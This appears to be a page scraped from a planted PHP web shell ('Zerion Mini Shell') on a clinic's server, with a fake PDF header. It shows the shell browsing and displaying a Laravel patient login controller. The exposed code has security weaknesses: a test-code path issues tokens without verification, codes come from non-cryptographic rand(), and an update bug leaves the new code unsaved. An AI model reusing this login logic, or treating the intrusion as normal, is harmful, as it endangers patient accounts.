%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/PatientAuthController.php

<?php

namespace App\Http\Controllers\Api\App\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\App\v1\Patient\ConfirmPatientCodeRequest;
use App\Http\Requests\Api\App\v1\Patient\SendPatientCodeRequest;
use App\Models\Patient;
use App\Models\PatientCode;
use Carbon\Carbon;

class PatientAuthController extends ApiController
{

    /**
     * @param SendPatientCodeRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function sendCode(SendPatientCodeRequest $request)
    {
        /** @var Patient $patient */
        $patient = Patient::query()
                          ->where('code', '=', $request->get('patient_code'))
                          ->firstOrFail();
        if ($patient->isTestCode()) {
            $accessToken = $patient->createToken('patient')->accessToken;
            return response()->json([
                'is_test' => true,
                'token'   => $accessToken,
            ], 200);
        }
        $code = rand(100000, 999999);
        $patientCode = PatientCode::query()
                                  ->where('patient_id', '=', $patient->id)
                                  ->first();
        if ($patientCode) {
            $patientCode->code = $code;
            $patientCode->expired_at = Carbon::now()
                                             ->addSecond(env('PATIENT_CODE_VALIDITY_IN_SECONDS', 120));
            $patient->save();
        } else {
            PatientCode::query()
                       ->create([
                           'patient_id' => $patient->id,
                           'code'       => $code,
                           'expired_at' => Carbon::now()
                                                 ->addSecond(env('PATIENT_CODE_VALIDITY_IN_SECONDS', 120)),
                       ]);
        }
        $patient->sendCodeViaSms($code);
        return response()->json([
            'message' => 'ok',
        ], 200);
    }

    /**
     * @param ConfirmPatientCodeRequest $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function confirmCode(ConfirmPatientCodeRequest $request)
    {
        $patient = Patient::query()
                          ->where('code', '=', $request->get('patient_code'))
                          ->firstOrFail();
        $patientCode = PatientCode::query()
                                  ->where('patient_id', '=', $patient->id)
                                  ->first();
        if ($patientCode) {
            if ($patientCode->code != $request->get('code')) {
                return response()->json(['error' => 'Code is not correct!'], 401);
            }
            if ($patientCode->expired_at < Carbon::now()) {
                $patientCode->delete();
                return response()->json(['error' => 'Code has expired!'], 401);
            }
            $accessToken = $patient->createToken('patient')->accessToken;
            $patientCode->delete();
            return response()->json([
                'token' => $accessToken,
            ], 200);
        } else {
            return response()->json(['error' => 'We couldn\'t find any matching code!'], 401);
        }
    }
}

Zerion Mini Shell 1.0